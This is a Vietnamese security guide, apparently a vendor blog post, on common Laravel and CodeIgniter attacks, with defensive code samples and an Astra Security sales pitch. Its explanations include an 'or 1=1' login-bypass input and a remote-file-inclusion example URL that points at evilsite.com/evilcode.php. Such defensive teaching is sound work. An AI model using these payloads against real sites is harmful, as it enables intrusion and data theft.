Laravel và CodeIgniter là hai framework PHP mã nguồn mở phổ biến được dùng để xây dựng trang web. Tuy nhiên, triển khai trang web bằng các framework này không làm cho chúng an toàn – chính các thực hành phát triển an toàn mới quan trọng. SQL Injection trong CodeIgniter và Laravel là những chủ đề bảo mật phổ biến nhất trên các diễn đàn hỗ trợ. Bên cạnh SQLi, các thực hành phát triển không an toàn cũng khiến trang web dễ bị tấn công XSS, CSRF, RFI và nhiều hơn nữa.
Ví Dụ Về Trang Web Laravel/CodeIgniter Bị Hack
Các cuộc tấn công phổ biến và rộng rãi như SQL injection trong CodeIgniter hoặc Laravel có thể xâm phạm trang web. Số lượng lớn người dùng gặp phải các cuộc tấn công tương tự có thể được tìm thấy khi nhờ giúp đỡ trên diễn đàn cộng đồng Laravel hoặc diễn đàn cộng đồng CodeIgniter – các ví dụ sau:
Triệu Chứng Của Hack CodeIgniter Hoặc Laravel
- Bạn tìm thấy trang lừa đảo (phishing) Laravel hoặc CodeIgniter được thiết kế để đánh cắp thông tin nhạy cảm trên trang web của mình.
- Người dùng của bạn than phiền về việc bị chuyển hướng đến các trang web độc hại.
- Bạn phát hiện nội dung vô nghĩa xuất hiện trên trang Laravel hoặc CodeIgniter do Japanese Keyword Hack hoặc Pharma Hack, v.v.
- Trang web Laravel hoặc CodeIgniter của bạn trở nên rất chậm và hiển thị thông báo lỗi.
- Khi sử dụng hosting bên thứ ba, thông báo 'Tài khoản của bạn đã bị tạm khóa!' xuất hiện.
- Trang web Laravel hoặc CodeIgniter của bạn bị đen (blacklisted) bởi công cụ tìm kiếm.
- Nhật ký lỗi hiển thị các cuộc tấn công như SQL Injection trong CodeIgniter trên trang web của bạn.
- Nhật ký hiển thị đăng nhập vào trang web của bạn từ các IP từ xa.
- Quản trị viên mới, độc hại xuất hiện trong cơ sở dữ liệu đăng nhập của trang web.
Các Lỗ Hổng Và Hack Phổ Biến
1) Tấn Công Chèn (Injection) Trong CodeIgniter/Laravel
a) SQL Injection
SQL Injection trong CodeIgniter là một cuộc tấn công rất phổ biến, xuất hiện rộng rãi. Như tên gọi, cuộc tấn công nhắm vào cơ sở dữ liệu của máy chủ. Bằng cách khai thác SQL Injection trong CodeIgniter, kẻ tấn công có thể:
- Truy xuất dữ liệu từ cơ sở dữ liệu.
- Chỉnh sửa nội dung cơ sở dữ liệu. Chúng thậm chí có thể xóa toàn bộ cơ sở dữ liệu!
- Trong một số trường hợp, chúng có thể lấy được reverse shell.
- Vượt qua xác thực bằng đầu vào như
or 1=1.
b) Chèn Mã PHP (PHP Code Injection)
Chèn mã PHP là một loại lỗ hổng phổ biến khác cho phép kẻ tấn công thực thi mã trên trang web Laravel/CodeIgniter. Tuy nhiên, nó khác với chèn lệnh (command injection) ở chỗ kẻ tấn công chỉ có thể thực thi các lệnh của ngôn ngữ cụ thể đó.
Chèn lệnh cho phép kẻ tấn công thực thi lệnh qua reverse shell. Ví dụ, tham số dễ bị tấn công có thể được cung cấp một liên kết đến file độc hại chứa mã PHP để thực thi, như https://testsite.com/?page=https://evilsite.com/evilcode.php.
File này có thể chứa các hàm như phpinfo(), có thể được dùng để thu thập thông tin.
2) Cross-Site Scripting (XSS)
Lỗ hổng XSS xảy ra trên trang web Laravel/CodeIgniter do thiếu kiểm tra đầu vào (input sanitization). Cả hai framework đều có các chức năng bảo mật được thiết kế đặc biệt để tránh các cuộc tấn công này. Bằng cách khai thác tấn công XSS, kẻ tấn công có thể:
- Lừa đảo người dùng để đánh cắp cookie và dữ liệu phiên (session) nhạy cảm khác.
- Chuyển hướng người dùng đến trang web độc hại.
- Vượt qua chính sách cùng nguồn (same-origin policy).
3) Cross-Site Request Forgery (CSRF)
Cuộc tấn công này nhằm lừa người dùng thực hiện hành động không mong muốn. Tuy nhiên, nó chỉ có thể dùng để thao túng dữ liệu (ví dụ xóa biểu mẫu) nhưng không thể đánh cắp hoặc đọc dữ liệu. Trong trường hợp xấu nhất, nếu nạn nhân là admin, toàn bộ ứng dụng có thể bị phá hủy. Cuộc tấn công này sử dụng thủ thuật xã hội (social engineering) để dụ nạn nhân nhấp vào liên kết thực thi các lệnh như xóa tài khoản trong nền.
Ngoài các lỗ hổng phổ biến trên, đây là một số lỗ hổng cụ thể của CodeIgniter và Laravel:
4) Các Lỗ Hổng Đã Biết Trong CodeIgniter
- Leo Thang Đặc Quyền (Privilege Escalation) (CVE-2020-10793):
CodeIgniter đến phiên bản 4.0.0 cho phép kẻ tấn công từ xa lấy đặc quyền thông qua Email ID được sửa đổi trên trang "Chọn Vai Trò Của Người Dùng". - Cố Định Phiên (Session Fixation) (CVE-2018-12071):
Vấn đề Session Fixation tồn tại trong CodeIgniter trước phiên bản 3.1.9 vìsession.use_strict_modetrong Thư Viện Session bị xử lý sai. - Vấn Thực Thể XML Bên Ngoài (XML External Entity Issue) (CVE-2015-3907):
CodeIgniter Rest Server (còn gọi là codeigniter-restserver) 2.7.1 cho phép tấn công XXE.
5) Các Lỗ Hổng Đã Biết Trong Laravel
- Chế Độ Debug: Thực Thi Mã Từ Xa (Remote Code Execution) (CVE-2021-3129)
Lỗ hổng RCE đã được phát hiện trong Laravel CMS (phiên bản Laravel <= v8.4.2 vào cuối tháng 11 năm 2020. (nguồn)
- Tiết Lộ Thông Tin (Information Exposure) (CVE-2020-13909):
Trang Ignition trước phiên bản 2.0.5 cho Laravel xử lý sai globals, _get, _post, _cookie và _env. Điều này cho phép kẻ tấn công từ xa truy cập thông tin nhạy cảm tiềm ẩn. - Giải Phân Tuần Tự (Deserialization) (CVE-2019-9081):
Thành phần Illuminate của Laravel Framework 5.7.x có lỗ hổng giải phân tuần tự có thể dẫn đến thực thi mã từ xa nếu nội dung có thể kiểm soát, liên quan đến phương thức__destructcủa lớp PendingCommand trong PendingCommand.php.
Trang web của bạn dùng Laravel hoặc CodeIgniter bị hack? Nhắn tin cho chúng tôi qua widget chat.
Bảo Vệ Trang Web CodeIgniter/Laravel Của Bạn
Tránh SQL Injection Trong CodeIgniter
CodeIgniter đi kèm với hàng tá tính năng bảo mật. Một số trong đó bao gồm các hàm và thư viện để tránh SQL injection. Đây là ba cách bạn có thể sử dụng các tính năng này để ngăn chặn tấn công:
1. Thoát Truy Vấn (Escaping Queries) Trong CodeIgniter
Thoát dữ liệu trước khi gửi đến ứng dụng PHP sẽ làm sạch nó. Đây là một trong những thực hành bảo mật phải được tuân thủ thường xuyên. Việc thoát truy vấn có thể hoàn thành qua ba phương pháp:
- $this->db->escape(): Xác định kiểu dữ liệu trước khi thoát
- $this->db->escape_str(): Không xác định kiểu dữ liệu, chỉ đơn giản thoát nó.
- $this->db->escape_like_str(): Có thể dùng với điều kiện.
Ví dụ, xem đoạn mã dưới đây.
<?php
$email= $this->input->post('email');
$query = 'SELECT * FROM subscribers_tbl WHERE user_name='.$this->db->escape($email);
$this->db->query($query);
?>
Trong mã này, hàm $this->db->escape() trước tiên xác định kiểu dữ liệu để chỉ thoát dữ liệu chuỗi. Nó cũng tự động thêm dấu nháy đơn quanh dữ liệu đầu vào. Điều này ngăn chặn SQL Injection trong CodeIgniter.
2. Ràng Buộc Truy Vấn (Binding Queries) Trong CodeIgniter
Ngoài việc làm sạch đầu vào, ràng buộc truy vấn cũng có thể đơn giản hóa mã trong trang web CodeIgniter. Phương pháp này để hệ thống đặt truy vấn, giảm độ phức tạp cho nhà phát triển. Ví dụ, xem đoạn mã dưới đây:
<?php $sql = "SELECT * FROM subscribers_tbl WHERE status = ? AND email= ?"; $this->db->query($sql, array('active', 'admin@wsxdn.com'));?>
Ở đây, bạn có thể thấy các dấu hỏi thay vì giá trị trong dòng đầu tiên. Do ràng buộc truy vấn, các dấu hỏi này được thay thế bằng giá trị từ mảng ở dòng thứ hai. Trong ví dụ trước, chúng ta thấy thoát truy vấn thủ công. Ở đây, phương pháp này thực hiện tự động, do đó ngăn chặn SQL Injection trong CodeIgniter.
3. Active Class Record Trong CodeIgniter
Tính năng active records của CodeIgniter cho phép chúng ta thực hiện thao tác cơ sở dữ liệu với tối thiểu dòng mã hoặc script. Vì nó là hàm của chính hệ thống, việc thoát truy vấn được thực hiện tự động. Ví dụ, tất cả dữ liệu của bảng có thể được truy xuất bằng một truy vấn đơn giản:
$query = $this->db->get('mytable');
Tránh SQL Injection Trong Laravel
Ánh xạ quan hệ đối tượng (object-relational mapping) trong Laravel sử dụng ràng buộc dữ liệu đối tượng PHP để làm sạch đầu vào người dùng, từ đó ngăn chặn SQL injection Laravel. Ràng buộc tham số cũng tự động thêm dấu nháy, do đó ngăn chặn đầu vào nguy hiểm như or 1=1 vượt qua xác thực.
Đây là triển khai truy vấn ràng buộc tên (named binding) trong Laravel:
$results = DB::select('select * from users where id = :id', ['id' => 1]);
Tránh Cross-Site Scripting Trong CodeIgniter
Để ngăn chặn các tấn công XSS có thể xảy ra, CodeIgniter đi kèm với bộ lọc XSS dựng sẵn. Trong trường hợp bộ lọc này gặp yêu cầu độc hại, nó chuyển đổi nó thành thực thể ký tự (character entity) để giữ ứng dụng an toàn. Bộ lọc này có thể truy cập qua phương thức xss_clean():
$data = $this->security->xss_clean($data);
Tuy nhiên, đôi khi kẻ tấn công có thể chèn mã độc trong file hình ảnh. Để ngăn chặn các cuộc tấn công như vậy, file tải lên cũng có thể được kiểm tra bảo mật. Ví dụ, xem mã dưới đây:
if ($this->security->xss_clean($file, TRUE) === FALSE)
{
// file không vượt qua kiểm tra XSS
}
Mã này sẽ trả về giá trị Boolean True nếu hình ảnh an toàn và ngược lại. Tuy nhiên, đáng chú ý ở đây là nếu bạn muốn lọc giá trị thuộc tính HTML, tốt hơn nên dùng phương thức html_escape().
Tránh Cross-Site Scripting Trong Laravel
Sử dụng chuỗi thoát (escape string), tấn công XSS có thể được tránh trên trang web Laravel. Chuỗi thoát sẽ ngăn chặn đầu vào chưa được làm sạch được triển khai. Trong Laravel phiên bản > 5.1, tính năng này được bật mặc định. Vì vậy, khi đầu vào như <div>{{ $task->names }}</div> được cung cấp cho Laravel phiên bản trên 5.1, ứng dụng sẽ không bị tổn thương do tự động thoát truy vấn.
Giới hạn độ dài đầu vào do người dùng cung cấp cũng có thể ngăn chặn một số loại XSS và SQLi. Điều này có thể thực hiện qua mã HTML dưới đây:
<input type="text" name="task" maxlength="10">
Cách tương tự có thể triển khai qua hàm JS. Cú pháp {% raw %} {{}} {% endraw %} trong Laravel mặc định có thể thoát bất kỳ thực thể HTML độc hại nào được truyền vào.
Có một số thư viện được thiết kế đặc biệt để ngăn chặn Laravel XSS. Nếu bạn dùng công cụ mẫu (template engine) như Blade, nó sẽ tự động dùng thoát để ngăn chặn các cuộc tấn công này.
Ngăn Chặn Tấn Công CSRF Trong CodeIgniter
Bảo vệ CSRF có thể được bật trong CodeIgniter bằng cách chỉnh sửa file application/config/config.php. Chỉ cần thêm mã sau vào file:
$config['csrf_protection'] = TRUE;
Nếu bạn dùng Form Helper, bạn có thể dùng hàm form_open() để chèn trường CSRF token ẩn vào biểu mẫu mặc định. Cách khác để triển khai bảo vệ CSRF là dùng get_csrf_token_name() và get_csrf_hash(). Tham khảo, xem hai đoạn mã dưới đây của một biểu mẫu và triển khai phía máy chủ:
<input type="hidden" name="<?=$csrf['name'];?>" value="<?=$csrf['hash'];?>" />
——————————————————————–
$csrf = array(
'name' => $this->security->get_csrf_token_name(),
'hash' => $this->security->get_csrf_hash());
Tái tạo token (Regeneration of tokens) cũng là một thực hành an toàn khác để ngăn chặn tấn công CSRF CodeIgniter. Tuy nhiên, tái tạo token có thể gây vấn đề vì người dùng có thể cần xác thực lại sau khi chuyển tab. Tái tạo token có thể thực hiện bằng tham số cấu hình sau:
$config['csrf_regenerate'] = TRUE;
Ngăn Chặn Tấn Công CSRF Trong Laravel
Token được triển khai trong biểu mẫu Laravel để bảo vệ khỏi tấn công CSRF. Các token này sau đó được gọi bằng cuộc gọi AJAX có thể tìm thấy nhúng trong mỗi biểu mẫu. Dữ liệu từ token yêu cầu được so khớp với token lưu trên máy chủ cho phiên của người dùng để kiểm tra sự bất thường. Token CSRF có thể truyền vào biểu mẫu bằng mã sau (Triển khai Blade Templates):
<form name="CSRF Implementation">
{!! csrf_field() !!}
<!-- Các input khác có thể đặt ở đây-->
</form>
Tuy nhiên, token CSRF có thể được thêm mặc định khi dùng gói LaravelCollective/HTML.
Chặn Báo Cáo Lỗi Trong CodeIgniter
Lỗi file hữu ích trong môi trường phát triển. Tuy nhiên, trên web, lỗi file CodeIgniter có thể rò rỉ thông tin nhạy cảm cho kẻ tấn công. Vì vậy, tắt báo cáo lỗi là thực hành an toàn.
Lỗi PHP
Để tắt báo cáo lỗi PHP, dùng file index.php. Chỉ cần truyền số 0 làm đối số cho hàm error_reporting(). Xem ví dụ dưới đây:
error_reporting(0);
Tuy nhiên, đối với CodeIgniter phiên bản 2.0.1 trở lên, hằng môi trường (environment constant) trong file index.php có thể đặt thành "production" để tắt đầu ra lỗi PHP.
Lỗi Cơ Sở Dữ Liệu
Lỗi cơ sở dữ liệu có thể tắt bằng cách chỉnh sửa file application/config/database.php. Chỉ cần đặt tùy chọn db_debug thành FALSE. Xem ví dụ dưới đây:
$db['default']['db_debug'] = FALSE;
Ghi Nhật Ký Lỗi (Error Logging)
Một cách thông minh là chuyển các lỗi xảy ra vào file nhật ký (log files) để ngăn chúng hiển thị. Tùy chọn log_threshold của file /config/config.php có thể đặt thành 1 cho mục đích này. Xem ví dụ dưới đây:
$config['log_threshold'] = 1;
Sử Dụng Tường Lửa Ứng Dụng Web (WAF) Cho Laravel Hoặc CodeIgniter
Kẻ tấn công liên tục tìm cách mới để xâm phạm trang web của bạn. Do đó, một thực hành an toàn khác là sử dụng tường lửa hoặc giải pháp bảo mật nào đó. Astra Security là một giải pháp bảo mật như vậy được thiết kế để đáp ứng nhu cầu linh hoạt của bạn. Chỉ cần nhắn tin cho chúng tôi qua widget chat và tiến gần hơn một bước để bảo mật trang web. Nhận demo ngay!
Astra Security cung cấp kiểm tra bảo mật toàn diện cho trang web Laravel hoặc CodeIgniter của bạn với 80+ bài kiểm tra chủ động, kết hợp đúng đắn giữa tự động và thủ công.